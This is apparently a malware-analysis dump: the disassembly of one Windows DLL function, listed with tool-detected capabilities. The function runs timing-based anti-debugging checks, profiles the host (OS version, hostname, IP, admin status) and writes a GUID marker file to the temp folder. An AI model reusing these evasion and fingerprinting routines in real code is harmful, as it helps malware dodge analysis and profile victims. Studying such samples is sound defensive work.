Function at 0x10002e30
Capabilities:
Check for time delay via queryperformancecounter
Check os version
Execute anti-debugging instructions
Get hostname
Get local ipv4 addresses
Get socket information
Query environment variable
Resolve dns
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
mov ebx, ecx
call esi
mov edx, dword [ebx + 0x64c]
mov edi, eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 4]
push eax
push ecx
lea eax, [ebx + 0x40c]
push edx
push eax
mov ecx, ebx
mov dword [ebp - 4], 6
call fcn.100016c0
test eax, eax
jne 0x10002e79
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call esi
sub eax, edi
push 8
mov dword [ebp - 0x30], eax
xor edi, edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x10002eb2
lea ecx, [esi + 4]
mov dword [esi], 0xffffffff
push 8
push esi
mov dword [ecx], edi
mov ecx, ebx
call fcn.10002150
push esi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor esi, esi
mov eax, dword [ebx + 0x3fc]
test eax, eax
jne 0x10002ee4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x1e
jl 0x10002eb4
mov eax, dword [ebx + 0x3fc]
test eax, eax
jne 0x10002ee4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, 0xab
xor eax, eax
lea edi, [ebp - 0x2e0]
lea edx, [ebp - 0x5c]
rep stosd dword es:[edi], eax
mov ecx, 0xa
lea edi, [ebp - 0x5c]
rep stosd dword es:[edi], eax
push edx
call fcn.10002d80
mov eax, dword [ebp - 4]
add esp, 4
lea ecx, [ebp - 0x2dc]
mov dword [ebp - 0x2e0], 3
push ecx
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x2dc], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov esi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea eax, [ebp - 0x14]
push eax
call esi
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
shr ecx, 4
add ecx, edx
mov dword [ebp - 0x1c], ecx
rdtsc
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
jae 0x10002f76
lea eax, [ebp - 0x14]
push eax
call esi
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
jb 0x10002f66
rdtsc
mov dword [ebp + 8], eax
mov edx, dword [ebp + 8]
mov edi, dword [ebp - 0x34]
sub edx, edi
mov eax, 0x431bde83
mul edx
shr edx, 0xe
lea esi, [ebx + 0x60c]
mov ecx, 8
lea edi, [ebp - 0x9c]
mov dword [ebp - 0x1c0], edx
rep movsd dword es:[edi], dword [esi]
lea esi, [ebx + 0x62c]
mov ecx, 8
lea edi, [ebp - 0x7c]
lea eax, [ebp - 0xc]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x1b8]
push eax
push ecx
mov dword [ebp - 0xc], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
push 0
call sub.advpack.dll_IsNTAdmin
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0xb8], eax
mov ecx, 0x46
xor eax, eax
lea edi, [ebp - 0x3f8]
mov dword [ebp - 0xb0], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3fc]
mov dword [ebp - 0x3fc], 0x11c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x10003022
cmp dword [ebp - 0x3f8], 6
jne 0x10003022
cmp dword [ebp - 0x3f4], 2
je 0x10003090
lea ecx, [ebp - 0xac]
push ecx
call dword [sym.imp.ole32.dll_CoCreateGuid]
lea edx, [ebp - 0x4e8]
push 0x208
push edx
push str._TEMP_uid.ax
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0x80
push 4
push 0
push 3
lea eax, [ebp - 0x4e8]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10003090
lea ecx, [ebp + 8]
push 0
push ecx
lea edx, [ebp - 0xac]
push 0x10
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lea ecx, [ebp - 8]
mov dword [ebp - 0x2c], eax
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x28], eax
push ecx
mov dword [ebp - 0x24], eax
push edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebx + 0x14]
push eax
mov dword [ebp - 8], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x100030c7
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x1bc], ecx
jmp 0x100030f7
lea edx, [ebp - 0x3e0]
push 0x100
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x3e0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100030f7
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x1bc], eax
push 0x2b0
mov dword [ebp - 0x2e0], 1
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp + 8], eax
test eax, eax
je 0x10003146
mov ecx, 0xab
lea esi, [ebp - 0x2e0]
lea edi, [eax + 4]
mov dword [eax], 0xffffffff
rep movsd dword es:[edi], dword [esi]
push 0x2b0
push eax
mov ecx, ebx
call fcn.10002150
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
xor esi, esi
mov eax, dword [ebx + 0x400]
test eax, eax
jne 0x10003182
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x1e
jl 0x10003148
mov eax, dword [ebx + 0x400]
test eax, eax
jne 0x10003182
pop edi
mov dword [ebx + 0x3f8], 1
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x2b0
mov dword [ebp - 0x2e0], 3
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp + 8], eax
test eax, eax
je 0x100031d1
mov ecx, 0xab
lea esi, [ebp - 0x2e0]
lea edi, [eax + 4]
mov dword [eax], 0xffffffff
rep movsd dword es:[edi], dword [esi]
push 0x2b0
push eax
mov ecx, ebx
call fcn.10002150
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4